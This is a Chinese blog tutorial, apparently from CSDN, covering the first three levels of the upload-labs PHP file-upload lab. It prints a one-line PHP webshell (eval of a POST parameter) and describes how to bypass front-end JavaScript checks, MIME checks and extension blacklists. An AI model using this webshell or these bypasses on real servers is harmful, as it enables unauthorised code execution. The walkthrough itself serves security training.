手把手教你玩转upload-labs靶场(1--20关超详细保姆级)

入场准备--了解你的对手

Upload-labs靶场是一个内容全面且开源的PHP文件上传漏洞训练场所。它以真实的文件上传漏洞场景为基础,为安全研究人员和开发人员提供了一个实践和学习的平台。靶场提供了多种不同类型的漏洞场景,涵盖了文件类型绕过、文件名绕过、MIME类型绕过、大小限制绕过等多个方面。每个场景都有详细的解题思路和说明,帮助用户深入理解漏洞的原理和利用方式。通过上传恶意文件,用户可以亲身体验漏洞的利用技巧,并学习如何防范这些漏洞。Upload-labs靶场不仅提供了实践性,还提供了防御机制的实践,帮助用户全面了解如何保护系统免受文件上传漏洞的威胁。总之,Upload-labs靶场是一个引人入胜的训练场所,为用户提供了一个有趣且实用的学习平台,帮助他们掌握文件上传漏洞的利用和防御技巧。

两只拳头--两段原始PHP一句话木马

1.php:
<?php
    phpinfo();
?>


2.php:
<?php
    eval($_POST[a]);
?>

战前预热

        Pass-01(前端js验证)

提示:本pass在前端(客户端)使用JavaScript对不合法图片进行检查

浏览器上使用F12查看页面源代码,发现其在前端调用了一个checkFile()函数

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

这里有两种绕过(热身)方式

第一种:

 在点击"上传"之前先在网页源代码中删除--οnsubmit="return checkFile()"--这段代码

上传成功:

 

 

 第二种:

先将1.php改为1.png再使用burpsuite工具抓包,直接修改后缀名为.php然后点击Forward即可完成上传

 Pass-02(后端验证文件类型--MIME校验)

提示:本pass在服务端对数据包的MIME进行检查!

第二关只验证了MIME类型(实战中当然不会如此单调啦),我们只需要使用BP抓包将Content-Type:的参数修改为上图中三种图片格式的一种即可 

 

 

拓展:什么是MIME类型

深刻理解什么是MIME类型

步入战场---练手对象黑名单验证

Pass-03(黑名单验证,文件后缀名绕过)

提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

查看源码发现使用了黑名单验证,但只有区区4种---

在某些特定的环境中(某些配置文件需要修改)一些特殊的后缀仍会被当作php文件解析----

php, php[2-7], pht, phtm, phtml. 

这里我们用php6试一下 

 

木马虽然改头换面上传成功,但是连接时却没有任何反馈😥

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洛一方

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值